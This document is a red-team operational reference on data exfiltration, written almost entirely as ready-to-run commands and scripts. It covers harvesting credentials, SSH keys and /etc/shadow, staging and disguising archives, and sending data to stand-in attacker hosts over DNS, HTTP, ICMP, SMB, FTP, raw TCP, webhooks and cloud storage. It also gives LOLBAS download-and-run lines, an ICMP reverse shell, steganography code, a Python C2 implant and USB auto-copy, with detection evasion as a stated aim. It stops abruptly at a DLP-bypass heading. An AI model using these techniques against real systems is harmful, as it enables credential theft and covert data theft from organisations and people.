A complete operational reference for data exfiltration tradecraft in red team engagements. Covers data discovery and staging, DNS/HTTP/ICMP/SMB tunneling, cloud storage abuse, steganography, LOLBAS exfil, air-gap techniques, DLP bypass, OPSEC, and detection avoidance. All techniques mapped to MITRE ATT&CK.
1. Core Concepts & Exfil Kill Chain
EXFILTRATION KILL CHAIN
──────────────────────────────────────────────────────────────────────────────
Initial Access / Foothold
│
▼
┌──────────────────────────────────────────────────────────────┐
│ 1. Identify Target Data │
│ • Determine valuable data (PII, credentials, IP, DBs) │
└───────────────────────┬──────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────┐
│ 2. Locate & Collect │
│ • Search filesystems, shares, databases, mailboxes │
└───────────────────────┬──────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────┐
│ 3. Stage & Package │
│ • Archive, compress, encrypt, or split the data │
└───────────────────────┬──────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────┐
│ 4. Choose Exfiltration Channel │
│ • DNS, HTTP(S), ICMP, Cloud Storage, LOLBAS, etc. │
└───────────────────────┬──────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────┐
│ 5. Exfiltrate │
│ • Transfer the staged data through the chosen channel │
└───────────────────────┬──────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────────────────────────┐
│ 6. Verify & Clean Up │
│ • Confirm successful transfer and remove artefacts │
└──────────────────────────────────────────────────────────────┘
Key Terms:
- Exfiltration — unauthorized transfer of data out of a target environment.
- Covert Channel — communication channel that bypasses security controls.
- DLP — Data Loss Prevention — security controls that monitor/block data movement.
- LOLBAS — Living Off the Land Binaries and Scripts — using built-in OS tools.
- Staging Area — temporary location where data is assembled before exfil.
- C2 — Command and Control — attacker-controlled server receiving exfiltrated data.
- Chunking — splitting data into small pieces to avoid size-based detection.
- OPSEC — Operational Security — practices to avoid attribution and detection.
2. Pre-Exfil — Data Discovery & Staging
2.1 Data Discovery — Windows
# ─── Find high-value files by extension ───
Get-ChildItem -Path C:\ -Recurse -Include *.doc,*.docx,*.xls,*.xlsx,*.pdf,*.kdbx,*.pst -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users -Recurse -Include *password*,*cred*,*secret*,*key* -ErrorAction SilentlyContinue
# ─── Find files modified recently ───
Get-ChildItem C:\ -Recurse | Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-30)}
# ─── Search file content for keywords ───
Select-String -Path C:\Users\*\Documents\*.txt -Pattern "password|secret|api_key" -CaseSensitive:$false
# ─── Locate sensitive database files ───
Get-ChildItem -Path C:\ -Recurse -Include *.mdb,*.accdb,*.sqlite,*.db -ErrorAction SilentlyContinue
# ─── Find browser saved passwords ───
# Chrome
Get-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
# Firefox
Get-ChildItem "$env:APPDATA\Mozilla\Firefox\Profiles" -Recurse -Include "logins.json","key4.db"
# ─── Find SSH keys ───
Get-ChildItem -Path $env:USERPROFILE\.ssh -ErrorAction SilentlyContinue
Get-ChildItem C:\Users -Recurse -Include id_rsa,id_ed25519,*.pem -ErrorAction SilentlyContinue
# ─── Enumerate network shares ───
net share
Get-SmbShare
Get-ChildItem \\DC01\SYSVOL -Recurse | Select FullName
2.2 Data Discovery — Linux
# ─── Find high-value files ───
find / -type f \( -name "*.key" -o -name "*.pem" -o -name "*.p12" \
-o -name "id_rsa" -o -name "id_ed25519" -o -name "*.kdbx" \
-o -name "*.db" -o -name "*.sqlite" \) 2>/dev/null
# ─── Grep for credentials in config files ───
grep -rli "password\|passwd\|secret\|api_key\|token\|credential" \
/etc /home /var/www /opt 2>/dev/null
# ─── Find recently modified files ───
find / -type f -mtime -30 2>/dev/null | grep -v proc | grep -v sys
# ─── Find SUID/SGID binaries (privilege escalation pivot) ───
find / -perm -u=s -type f 2>/dev/null
# ─── Bash history — often contains passwords ───
cat ~/.bash_history
cat ~/.zsh_history
find /home -name ".bash_history" 2>/dev/null | xargs cat
# ─── SSH private keys ───
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null
# ─── Database connection strings ───
grep -rli "mysql\|postgres\|mongodb\|redis\|password" \
/var/www /opt /etc 2>/dev/null
2.3 Data Staging & Packaging
# ─── Archive + compress (Linux) ───
tar -czf /tmp/.cache/data.tar.gz /home/user/Documents/
tar -czf - /etc/passwd /etc/shadow /home | base64 > /tmp/exfil.b64
# ─── Archive + encrypt (Linux) ───
tar -czf - /sensitive/data | openssl enc -aes-256-cbc \
-pbkdf2 -pass pass:S3cr3tK3y! > /tmp/.x11.sock
# ─── 7zip (Windows) ───
7z a -mx9 -mhe=on -p"password123" C:\Temp\exfil.7z C:\Users\Sensitive\
# ─── PowerShell compress ───
Compress-Archive -Path C:\Users\admin\Documents -DestinationPath C:\Temp\docs.zip
# ─── Split large files into chunks ───
# Linux:
split -b 500k data.tar.gz chunk_
# → chunk_aa, chunk_ab, chunk_ac...
# PowerShell:
$file = [System.IO.File]::ReadAllBytes("C:\Temp\exfil.7z")
$chunkSize = 500000
for ($i = 0; $i -lt $file.Length; $i += $chunkSize) {
$chunk = $file[$i..([Math]::Min($i+$chunkSize-1,$file.Length-1))]
[System.IO.File]::WriteAllBytes("C:\Temp\chunk_$i.bin", $chunk)
}
# ─── Rename to blend in ───
mv /tmp/exfil.tar.gz /tmp/.mozilla_cache_v2.dat
ren C:\Temp\exfil.7z C:\Temp\Windows_update_KB4586786.cab
3. DNS Exfiltration
HOW IT WORKS:
DNS queries leave the network even with strict egress filtering.
Data is encoded as subdomains of an attacker-controlled domain.
Setup required:
1. Register a domain (e.g. exfil.attacker.com)
2. Set NS record → your VPS IP
3. Run authoritative DNS server on your VPS
4. Every DNS query for *.exfil.attacker.com reaches your server
5. Encode data as subdomain labels (max 63 chars per label, 253 total)
3.1 Manual DNS Exfiltration
# ─── Attacker side — capture incoming DNS queries ───
sudo tcpdump -i eth0 udp port 53 -v
# Or:
sudo python3 -m dnslib.server # simple DNS capture
# ─── Victim — encode file and send via DNS ───
# Linux:
cat /etc/passwd | base64 | tr -d '\n' | fold -w 50 | \
awk '{print "dig +short " $1 ".exfil.attacker.com @<ATTACKER_IP>"}' | bash
# PowerShell:
$data = [Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\secret.txt"))
$chunks = $data -split "(.{50})" | Where-Object {$_}
foreach ($chunk in $chunks) {
Resolve-DnsName "$chunk.exfil.attacker.com" -ErrorAction SilentlyContinue
}
# ─── Attacker — extract and decode ───
sudo tcpdump -i eth0 udp port 53 -w dns_capture.pcap
# Offline: extract subdomain labels, reassemble, base64 decode
tshark -r dns_capture.pcap -Y "dns.qry.name contains exfil.attacker.com" \
-T fields -e dns.qry.name \
| cut -d. -f1 | tr -d '\n' | base64 -d > recovered_file
3.2 dnscat2 — Full DNS C2 + Exfil
# ─── Server (attacker) ───
gem install dnscat2
dnscat2-server exfil.attacker.com
# With pre-shared secret (encryption):
dnscat2-server exfil.attacker.com --secret=Sup3rS3cr3t
# ─── Client (victim — Linux) ───
# Compile:
git clone https://github.com/iagox86/dnscat2
cd dnscat2/client && make
./dnscat2 --secret=Sup3rS3cr3t exfil.attacker.com
# Without domain (direct to IP):
./dnscat2 --dns server=<ATTACKER_IP>,port=53 --secret=Sup3rS3cr3t
# ─── Client (victim — Windows — PowerShell version) ───
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
Start-Dnscat2 -Domain exfil.attacker.com -DNSServer <ATTACKER_IP> -PreSharedSecret Sup3rS3cr3t
# ─── dnscat2 server commands ───
dnscat2> sessions # list all sessions
dnscat2> session -i 1 # interact with session 1
dnscat2> window -i 1
command (session 1)> shell # get a shell
command (session 1)> download /etc/shadow /tmp/shadow # exfil file
3.3 DNSExfiltrator
# ─── Server (attacker) ───
pip3 install dnslib
python3 dnsexfiltrator.py -d exfil.attacker.com -p password
# ─── Client (victim — Windows) ───
dnsExfiltrator.exe secrets.zip exfil.attacker.com password s=<ATTACKER_IP> t=500
# t=500 → 500ms delay between chunks (avoid rate limiting / detection)
# ─── Stealth options ───
# Use TXT record type instead of A (less common, harder to filter):
python3 dnsexfiltrator.py -d exfil.attacker.com -p password -r TXT
dnsExfiltrator.exe secrets.zip exfil.attacker.com password r=TXT
3.4 iodine — IP-over-DNS Tunnel
# ─── Server (attacker) ───
sudo iodined -f -c -P password 10.0.0.1 tunnel.attacker.com
# ─── Client (victim) ───
sudo iodine -f -P password tunnel.attacker.com
# Creates tun0 interface at 10.0.0.2
# Now route traffic through DNS tunnel:
ssh user@10.0.0.1 # SSH over DNS!
4. HTTP / HTTPS Exfiltration
WHY HTTP/S:
HTTP/S is almost always allowed outbound.
HTTPS encrypts content — DLP can't inspect without SSL interception.
Blends with normal web browsing traffic.
Can abuse CDNs, legitimate services, webhooks as receivers.
4.1 Basic HTTP POST Exfiltration
# ─── Attacker — setup receiver ───
# Simple netcat listener:
nc -lvnp 8080 > received_data.b64
# Python HTTP receiver:
python3 - << 'EOF'
from http.server import BaseHTTPRequestHandler, HTTPServer
import base64
class Handler(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers['Content-Length'])
data = self.rfile.read(length)
print(f"[+] Received {len(data)} bytes")
with open('exfil_data.bin', 'ab') as f:
f.write(base64.b64decode(data))
self.send_response(200)
self.end_headers()
def log_message(self, *args): pass
HTTPServer(('0.0.0.0', 8080), Handler).serve_forever()
EOF
# ─── Victim — Linux curl exfil ───
# Single file:
curl -s -X POST https://attacker.com/upload \
-H "Content-Type: application/octet-stream" \
--data-binary @/etc/shadow
# Base64 encoded:
base64 /etc/passwd | curl -s -X POST https://attacker.com/data \
-H "Content-Type: text/plain" -d @-
# Chunked:
split -b 64k /tmp/exfil.tar.gz /tmp/chunk_
for f in /tmp/chunk_*; do
curl -s -X POST "https://attacker.com/chunk/$(basename $f)" \
--data-binary @"$f"
done
# ─── Victim — PowerShell exfil ───
# Single file via WebClient:
$wc = New-Object System.Net.WebClient
$wc.UploadFile("https://attacker.com/upload", "C:\Temp\exfil.7z")
# Base64 encoded POST:
$data = [Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\secret.txt"))
Invoke-WebRequest -Uri "https://attacker.com/data" -Method POST -Body $data
# Stream upload (bypass size limits):
$stream = [System.IO.File]::OpenRead("C:\Temp\bigfile.7z")
$req = [System.Net.WebRequest]::Create("https://attacker.com/upload")
$req.Method = "POST"
$req.ContentLength = $stream.Length
$out = $req.GetRequestStream()
$stream.CopyTo($out)
$out.Close(); $stream.Close()
$req.GetResponse()
4.2 HTTP Headers Exfiltration (Covert)
# Encode data in HTTP headers — bypasses body-based DLP
# Attacker reads headers from access logs
# Linux:
curl -s -H "X-Auth-Token: $(base64 /etc/passwd | tr -d '\n' | head -c 4096)" \
https://attacker.com/api/check
# Per-request chunked:
base64 /etc/shadow | fold -w 200 | while read line; do
curl -s -H "X-Data: $line" https://attacker.com/ping
sleep 0.5
done
# PowerShell via User-Agent header:
$data = [Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\secret.txt"))
$chunks = [System.Text.RegularExpressions.Regex]::Split($data, "(.{200})") | Where-Object {$_}
foreach ($chunk in $chunks) {
Invoke-WebRequest -Uri "https://attacker.com/" -UserAgent $chunk
Start-Sleep -Milliseconds 500
}
4.3 Webhook / Paste Service Exfil
# Exfil to Discord webhook (blends with Office365 traffic)
curl -s -H "Content-Type: application/json" \
-X POST "https://discord.com/api/webhooks/<ID>/<TOKEN>" \
-d "{\"content\": \"$(base64 /etc/passwd | head -c 1900)\"}"
# Exfil to Slack webhook:
curl -s -X POST -H "Content-type: application/json" \
--data "{\"text\": \"$(cat /etc/hostname | base64)\"}" \
https://hooks.slack.com/services/<WEBHOOK_ID>
# Exfil to pastebin-style service:
curl -s -X POST https://pasteland.pw/api \
-d "text=$(cat /etc/passwd | base64)"
# Exfil to HTTPS Requestbin (collect & inspect)
curl -s -X POST https://en9kxabc.x.pipedream.net/ \
--data-binary @/tmp/exfil.tar.gz
5. ICMP Exfiltration
WHY ICMP:
ICMP (ping) is often allowed inbound and outbound, even where
other protocols are filtered. Each ICMP packet has a "data" payload
field that can carry arbitrary bytes.
Typical use: hide data in echo request/reply packets.
5.1 Manual ICMP Exfiltration
# ─── Attacker — capture ICMP traffic ───
sudo tcpdump -i eth0 icmp -w icmp_capture.pcap
# Or listen with scapy:
python3 - << 'EOF'
from scapy.all import *
data = b""
def handle(pkt):
global data
if pkt.haslayer(ICMP) and pkt[ICMP].type == 8: # echo request
payload = bytes(pkt[ICMP].payload)
if payload:
data += payload
print(f"[+] Received chunk: {payload[:20]}...")
sniff(iface="eth0", filter="icmp", prn=handle)
EOF
# ─── Victim — Linux manual ICMP exfil ───
# Encode data and send in ping payload:
data=$(cat /etc/passwd | base64 | tr -d '\n')
for i in $(seq 0 60 ${#data}); do
chunk="${data:$i:60}"
ping -c 1 -p "$(echo -n $chunk | xxd -p)" <ATTACKER_IP>
sleep 0.3
done
# Using hping3 (more control over payload):
cat /etc/shadow | base64 | \
while read -r -n 56 chunk; do
echo -n "$chunk" | xxd -r -p | \
hping3 -1 --data 56 --file /dev/stdin <ATTACKER_IP>
sleep 0.2
done
5.2 icmpsh
# ─── Server (attacker) — simple ICMP reverse shell ───
# Download: https://github.com/inquisb/icmpsh
sudo python3 icmpsh_m.py <ATTACKER_IP> <VICTIM_IP>
# ─── Victim (Windows) ───
icmpsh.exe -t <ATTACKER_IP> -d 500 -b 30 -s 128
# -d 500 → 500ms delay between pings
# -b 30 → 30 blank pings before giving up
# -s 128 → max 128 bytes per packet
5.3 ptunnel-ng — Full IP Tunnel over ICMP
# ─── Server (attacker) ───
sudo ptunnel-ng -x password
# ─── Client (victim) ───
sudo ptunnel-ng -p <ATTACKER_IP> -lp 8080 -da <TARGET_IP> -dp 22 -x password
# Routes: localhost:8080 → ICMP tunnel → attacker → SSH to target
ssh -p 8080 user@localhost
# Full SSH over ICMP!
6. SMB / FTP / Other Protocol Exfil
6.1 SMB Exfiltration
# ─── Attacker — set up SMB server (Impacket) ───
impacket-smbserver share /tmp/loot -smb2support
impacket-smbserver share /tmp/loot -smb2support -username user -password pass
# ─── Victim — Windows ───
# Copy file to attacker's share:
copy C:\Temp\exfil.7z \\<ATTACKER_IP>\share\
xcopy /S C:\Users\admin\Documents \\<ATTACKER_IP>\share\docs\
# PowerShell:
Copy-Item C:\Temp\exfil.7z -Destination \\<ATTACKER_IP>\share\
# Map drive first:
net use Z: \\<ATTACKER_IP>\share /user:user pass
copy C:\secret.txt Z:\
net use Z: /delete
# ─── Victim — Linux / CrackMapExec ───
smbclient //attacker-ip/share -U user%pass -c "put /etc/shadow shadow"
6.2 FTP Exfiltration
# ─── Attacker — Python FTP server ───
pip3 install pyftpdlib
python3 -m pyftpdlib -w -u attacker -P password -p 21
# ─── Victim — Linux ───
ftp -n <ATTACKER_IP> << EOF
user attacker password
put /etc/passwd passwd
put /tmp/exfil.tar.gz exfil.tar.gz
bye
EOF
# curl:
curl -T /tmp/exfil.tar.gz ftp://attacker:password@<ATTACKER_IP>/exfil.tar.gz
# ─── Victim — Windows (via PowerShell) ───
$client = New-Object System.Net.WebClient
$client.Credentials = New-Object System.Net.NetworkCredential("attacker","password")
$client.UploadFile("ftp://<ATTACKER_IP>/exfil.7z", "C:\Temp\exfil.7z")
6.3 Netcat Exfiltration
# ─── Attacker — receive ───
nc -lvnp 4444 > received_data.tar.gz
# ─── Victim — send ───
# Linux:
cat /tmp/exfil.tar.gz | nc <ATTACKER_IP> 4444
# With encryption (ncat):
ncat --ssl <ATTACKER_IP> 4444 < /tmp/exfil.tar.gz
# Windows (PowerShell):
$socket = New-Object System.Net.Sockets.TcpClient("<ATTACKER_IP>", 4444)
$stream = $socket.GetStream()
$data = [System.IO.File]::ReadAllBytes("C:\Temp\exfil.7z")
$stream.Write($data, 0, $data.Length)
$socket.Close()
7. SSH / SCP / SFTP Tunneling
# ─── SCP — direct file copy ───
scp /tmp/exfil.tar.gz attacker@<ATTACKER_IP>:/tmp/loot/
scp -P 2222 /tmp/exfil.tar.gz attacker@<ATTACKER_IP>:/tmp/loot/
# ─── Tar over SSH (no temp file) ───
tar -czf - /home/user/Documents/ | ssh attacker@<ATTACKER_IP> 'cat > /tmp/docs.tar.gz'
# ─── SSH + Proxy exfil (via jump host) ───
scp -o "ProxyJump jumphost.corp.com" /tmp/exfil.tar.gz attacker@<ATTACKER_IP>:/tmp/
# ─── SFTP automated upload ───
sftp attacker@<ATTACKER_IP> << EOF
put /tmp/exfil.tar.gz /tmp/loot/
bye
EOF
# ─── Reverse SSH tunnel (victim has no inbound ports) ───
# On victim: create reverse tunnel so attacker can pull data
ssh -R 2222:localhost:22 attacker@<ATTACKER_IP>
# On attacker: now SCP from victim via tunnel
scp -P 2222 user@localhost:/sensitive/data /tmp/loot/
8. Cloud Storage Abuse
WHY CLOUD:
Uploads to Dropbox / OneDrive / S3 / GDrive look like normal
employee activity. Traffic to cloud providers is HTTPS-encrypted.
Many DLP solutions whitelist cloud storage domains by default.
APT28, Lazarus Group, and other APTs have used this in real ops.
8.1 AWS S3 Exfiltration
# ─── Using AWS CLI ───
# Configure with stolen / attacker-owned keys:
aws configure # Enter attacker-owned access key + secret
# Upload file to bucket:
aws s3 cp /tmp/exfil.tar.gz s3://attacker-bucket/exfil.tar.gz
aws s3 cp /tmp/exfil.tar.gz s3://attacker-bucket/ --sse
# Recursive upload:
aws s3 sync /home/user/Documents/ s3://attacker-bucket/docs/
# ─── Using curl (presigned URL — no CLI needed) ───
# Attacker generates presigned URL (valid for limited time):
aws s3 presign s3://bucket/exfil.tar.gz --expires-in 3600
# Victim uses that URL to upload:
curl -T /tmp/exfil.tar.gz "https://bucket.s3.amazonaws.com/exfil.tar.gz?X-Amz-Credential=..."
# ─── Using PowerShell (no CLI) ───
# Simple pre-signed URL PUT:
Invoke-WebRequest -Uri "<PRESIGNED_S3_URL>" -Method PUT -InFile "C:\Temp\exfil.7z"
8.2 Dropbox API Exfiltration
# ─── Attacker — get Dropbox token ───
# Create Dropbox app → generate OAuth2 token
# ─── Upload via curl ───
curl -X POST https://content.dropboxapi.com/2/files/upload \
--header "Authorization: Bearer <TOKEN>" \
--header "Dropbox-API-Arg: {\"path\": \"/exfil.tar.gz\",\"mode\": \"add\"}" \
--header "Content-Type: application/octet-stream" \
--data-binary @/tmp/exfil.tar.gz
# ─── PowerShell Dropbox upload ───
$token = "<TOKEN>"
$file = "C:\Temp\exfil.7z"
$body = [System.IO.File]::ReadAllBytes($file)
$headers = @{
"Authorization" = "Bearer $token"
"Dropbox-API-Arg" = '{"path":"/exfil.7z","mode":"add"}'
"Content-Type" = "application/octet-stream"
}
Invoke-RestMethod -Uri "https://content.dropboxapi.com/2/files/upload" \
-Method POST -Headers $headers -Body $body
8.3 OneDrive / SharePoint Exfiltration
# ─── Using PnP PowerShell (if tenant creds captured) ───
Install-Module PnP.PowerShell
Connect-PnPOnline -Url "https://target.sharepoint.com" -Credentials $cred
Add-PnPFile -Path "C:\Temp\exfil.7z" -Folder "/Shared Documents/"
# ─── Microsoft Graph API via token ───
$headers = @{ "Authorization" = "Bearer $stolen_graph_token" }
$stream = [System.IO.File]::OpenRead("C:\Temp\exfil.7z")
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/drive/root:/exfil.7z:/content" \
-Method PUT -Headers $headers -Body $stream
8.4 GitHub / GitLab Exfiltration
# ─── Create private repo on attacker GitHub account ───
# Then:
git init /tmp/exfil_staging
cp /sensitive/data /tmp/exfil_staging/
cd /tmp/exfil_staging
git add .
git commit -m "update"
git remote add origin https://<TOKEN>@github.com/attacker/privaterepo.git
git push -u origin main
# ─── GitLab API upload ───
curl --request POST --header "PRIVATE-TOKEN: <TOKEN>" \
--form "file=@/tmp/exfil.tar.gz" \
"https://gitlab.com/api/v4/projects/<ID>/uploads"
9. LOLBAS Exfiltration (Living Off the Land)
CONCEPT:
Use built-in Windows/Linux binaries to exfiltrate data.
No custom tools needed → bypass application whitelisting.
Harder to detect — these are legitimate system binaries.
9.1 Windows LOLBAS
# ─── certutil — encode + exfil via DNS/HTTP ───
# Encode to base64:
certutil -encode C:\Temp\exfil.7z C:\Temp\exfil.b64
# Upload encoded file (now looks like a cert request):
certutil -urlcache -split -f https://attacker.com/recv.php C:\Temp\recv.txt
# ─── bitsadmin — background transfer ───
bitsadmin /transfer exfil /upload https://attacker.com/upload C:\Temp\exfil.7z
# ─── PowerShell WebClient ───
(New-Object System.Net.WebClient).UploadFile("https://attacker.com/up","C:\Temp\exfil.7z")
# ─── PowerShell Invoke-WebRequest ───
Invoke-WebRequest -Uri "https://attacker.com/up" -Method POST \
-InFile "C:\Temp\exfil.7z" -ContentType "application/octet-stream"
# ─── curl.exe (available since Windows 10 1803) ───
curl.exe -T C:\Temp\exfil.7z https://attacker.com/upload
curl.exe -X POST https://attacker.com/up -H "Content-Type: application/octet-stream" \
--data-binary @C:\Temp\exfil.7z
# ─── ftp.exe — built-in FTP client ───
echo open <ATTACKER_IP> 21>ftp.txt
echo user attacker password>>ftp.txt
echo put C:\Temp\exfil.7z>>ftp.txt
echo bye>>ftp.txt
ftp -s:ftp.txt
# ─── xcopy / robocopy to UNC share ───
xcopy C:\Sensitive \\<ATTACKER_IP>\share\ /S /E
robocopy C:\Sensitive \\<ATTACKER_IP>\share\sensitive /E /Z
# ─── wmic — for small data via alias ───
wmic process call create "cmd /c type C:\secret.txt > \\<ATTACKER_IP>\share\secret.txt"
# ─── mshta — HTML app used for exfil trigger ───
mshta "javascript:a=new ActiveXObject('WScript.Shell');a.Run('cmd /c curl -T C:\\exfil.7z https://attacker.com/up')"
# ─── regsvr32 — covert payload execution with exfil ───
regsvr32 /s /n /u /i:https://attacker.com/payload.sct scrobj.dll
9.2 Linux LOLBAS
# ─── curl (almost always present) ───
curl -T /tmp/exfil.tar.gz https://attacker.com/upload
curl -F "file=@/tmp/exfil.tar.gz" https://attacker.com/upload
# ─── wget ───
wget --post-file=/tmp/exfil.tar.gz https://attacker.com/upload
# ─── python3 (commonly available) ───
python3 -c "
import urllib.request, base64
data = open('/etc/shadow','rb').read()
req = urllib.request.Request('https://attacker.com/up', data=base64.b64encode(data))
urllib.request.urlopen(req)"
# ─── bash /dev/tcp (no external tools) ───
# Send file over raw TCP using bash built-in:
exec 3<>/dev/tcp/<ATTACKER_IP>/4444
cat /etc/shadow >&3
exec 3>&-
# ─── nc (if available) ───
cat /tmp/exfil.tar.gz | nc <ATTACKER_IP> 4444
nc -w 3 <ATTACKER_IP> 4444 < /etc/shadow
# ─── socat ───
socat -u FILE:/tmp/exfil.tar.gz TCP:<ATTACKER_IP>:4444
socat -u FILE:/tmp/exfil.tar.gz OPENSSL:<ATTACKER_IP>:4444 # TLS
# ─── openssl (exfil via TLS — evades clear-text detection) ───
# Attacker:
openssl s_server -port 4444 -quiet > received.bin
# Victim:
cat /tmp/exfil.tar.gz | openssl s_client -quiet -connect <ATTACKER_IP>:4444
# ─── telnet (fallback) ───
telnet <ATTACKER_IP> 4444 < /etc/passwd
10. Steganography
CONCEPT:
Hide data INSIDE seemingly innocent files (images, audio, video).
The carrier file looks normal, passes visual inspection,
and often bypasses DLP tools that only check file extensions / hashes.
APT28 (Fancy Bear) used PNG steganography with AES-encrypted shellcode
in their 2025 campaign to hide C2 payloads inside image files.
10.1 steghide — Image/Audio Embedding
# Install
apt install steghide
# ─── Embed data into JPEG/BMP/WAV/AU ───
steghide embed -cf cover.jpg -sf /tmp/exfil.tar.gz -p "password123" -sf secret.txt
# -cf = cover file, -sf = secret file, -p = passphrase
# Output: modified cover.jpg (looks identical, data hidden inside)
# ─── Extract ───
steghide extract -sf cover.jpg -p "password123" -xf extracted_data.bin
# ─── Check if file has hidden data ───
steghide info cover.jpg
10.2 LSB Steganography (Manual — PNG)
# Least Significant Bit encoding in PNG
# Hides data in the lowest bit of each pixel's RGB channels
from PIL import Image
import struct
def hide_data_lsb(image_path, data: bytes, output_path: str):
img = Image.open(image_path).convert('RGB')
pixels = list(img.getdata())
# Prepend 4-byte length header
payload = struct.pack('>I', len(data)) + data
bits = ''.join(f'{byte:08b}' for byte in payload)
if len(bits) > len(pixels) * 3:
raise ValueError("Data too large for cover image")
new_pixels = []
bit_idx = 0
for r, g, b in pixels:
if bit_idx < len(bits):
r = (r & ~1) | int(bits[bit_idx]); bit_idx += 1
if bit_idx < len(bits):
g = (g & ~1) | int(bits[bit_idx]); bit_idx += 1
if bit_idx < len(bits):
b = (b & ~1) | int(bits[bit_idx]); bit_idx += 1
new_pixels.append((r, g, b))
img.putdata(new_pixels)
img.save(output_path, 'PNG')
print(f"[+] Hid {len(data)} bytes in {output_path}")
def extract_data_lsb(image_path: str) -> bytes:
img = Image.open(image_path).convert('RGB')
pixels = list(img.getdata())
bits = ''
for r, g, b in pixels:
bits += str(r & 1) + str(g & 1) + str(b & 1)
# Read 4-byte length header
length = int(bits[:32], 2)
data_bits = bits[32:32 + length * 8]
data = bytes(int(data_bits[i:i+8], 2) for i in range(0, len(data_bits), 8))
return data
# Usage:
hide_data_lsb('innocent.png', open('/tmp/exfil.tar.gz','rb').read(), 'output.png')
data = extract_data_lsb('output.png')
open('/tmp/recovered.tar.gz','wb').write(data)
10.3 ExifTool — Hide in Metadata
# Hide data in EXIF metadata field
exiftool -Comment="$(base64 /tmp/exfil.txt | tr -d '\n')" photo.jpg
# Extract:
exiftool photo.jpg | grep Comment | cut -d: -f2- | base64 -d
# Multiple fields for larger payloads:
exiftool -Artist="chunk1_data" -Copyright="chunk2_data" -Description="chunk3_data" photo.jpg
10.4 stegsnow — Whitespace Steganography
# Hide data in whitespace at end of text file lines
stegsnow -C -m "secret data here" -p "password" cover.txt output.txt
# Extract:
stegsnow -C -p "password" output.txt
11. C2 Channel Exfiltration
CONCEPT:
C2 frameworks use existing implant channels to pull data back.
No new outbound connections needed — reuses established beacon.
Most mature C2 frameworks (Cobalt Strike, Sliver, Havoc, C3) have
built-in file download/upload commands.
Cobalt Strike
# Beacon commands:
download C:\Sensitive\data.xlsx # pull file to team server
download C:\Users\admin\Documents\ # pull directory
ls C:\Users\admin\Desktop # list before downloading
Sliver
sliver> download /etc/shadow
sliver> download /home/user/Documents /tmp/loot/
Metasploit Meterpreter
meterpreter> download C:\\Users\\admin\\Documents\\*.docx /tmp/loot/
meterpreter> download -r C:\\Sensitive /tmp/loot/
# -r = recursive
Havoc C2
# Havoc demon commands:
upload /tmp/local_tool.exe C:\Windows\Temp\tool.exe
download C:\sensitive\data.7z /tmp/loot/data.7z
Custom HTTPS C2 Exfil (Python)
# Implant side — POST data back to C2 over HTTPS
import requests, base64, os
C2 = "https://c2.attacker.com"
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"X-Session-ID": "a1b2c3d4e5f6" # identify implant
}
def exfil_file(path):
with open(path, 'rb') as f:
data = f.read()
chunks = [data[i:i+50000] for i in range(0, len(data), 50000)]
for i, chunk in enumerate(chunks):
requests.post(f"{C2}/api/telemetry",
headers=HEADERS,
json={
"session": "a1b2c3d4e5f6",
"chunk_id": i,
"total": len(chunks),
"filename": os.path.basename(path),
"data": base64.b64encode(chunk).decode()
},
verify=False,
timeout=30
)
exfil_file("/etc/shadow")
12. Air-Gap & Unconventional Channels
USE CASE:
For physically isolated / air-gapped networks where no internet exists.
Physical access or compromised peripheral is required.
Used by nation-state APTs (NSA, GCHQ, Equation Group documented use).
Acoustic (Air-Gap)
# Encode data in audio frequencies — transmit via PC speaker
# Receive via microphone on attacker's device nearby
# Tool: AirHopper / MOSQUITO
# Practical range: < 9 meters, low bandwidth (~20 bytes/sec)
USB / Physical Media
# Autorun / BadUSB implant → copies target data to USB on plug-in
# DiskCryptor or VeraCrypt hidden volume on USB for deniability
# PowerShell: copy data to any attached USB automatically
$usb = Get-WmiObject Win32_LogicalDisk | Where-Object {$_.DriveType -eq 2}
if ($usb) {
Copy-Item C:\Sensitive\* "$($usb.DeviceID)\" -Recurse
}
Optical / LED
# Blink HDD activity LED or CPU status LED in coded patterns
# Camera (attacker-controlled CCTV or phone) records the blinks
# ETHAMINER / xLED / BRIGHTNESS — research-grade tools
RF Channels
# Use DRAM bus or CPU frequency changes to emit RF signals
# Receive with software-defined radio (SDR)
# Tool: GSMem (uses memory bus as unintentional radio transmitter)
# Practical bandwidth: very low (~100 bytes/sec)
13. Data Encoding & Compression
# ─── Base64 ───
base64 secret.txt > encoded.txt
cat encoded.txt | base64 -d > decoded.txt
# PowerShell:
[Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\secret.txt"))
# ─── Hex encoding ───
xxd /tmp/exfil.tar.gz > exfil.hex
xxd -r exfil.hex > recovered.tar.gz
# ─── URL encoding (for GET params) ───
python3 -c "import urllib.parse; print(urllib.parse.quote(open('/etc/passwd').read()))"
# ─── Compression ───
# gzip:
gzip -9 -c secret.txt > secret.txt.gz
# xz (best compression ratio):
xz -9 secret.txt # → secret.txt.xz
# bzip2:
bzip2 -9 -c secret.txt > secret.txt.bz2
# ─── Encryption before exfil ───
# OpenSSL AES-256:
openssl enc -aes-256-cbc -pbkdf2 -salt \
-in secret.txt \
-out secret.enc \
-pass pass:Sup3rS3cr3tP4ssw0rd!
# GPG:
gpg --batch --yes --passphrase "password" \
-c --cipher-algo AES256 secret.txt
# → secret.txt.gpg
# ─── Combined: compress → encrypt → encode ───
tar -czf - /sensitive/ | \
openssl enc -aes-256-cbc -pbkdf2 -pass pass:S3cr3t | \
base64 > /tmp/final_exfil.b64
14. DLP Bypass Techniques
14.1 File Fragmentation
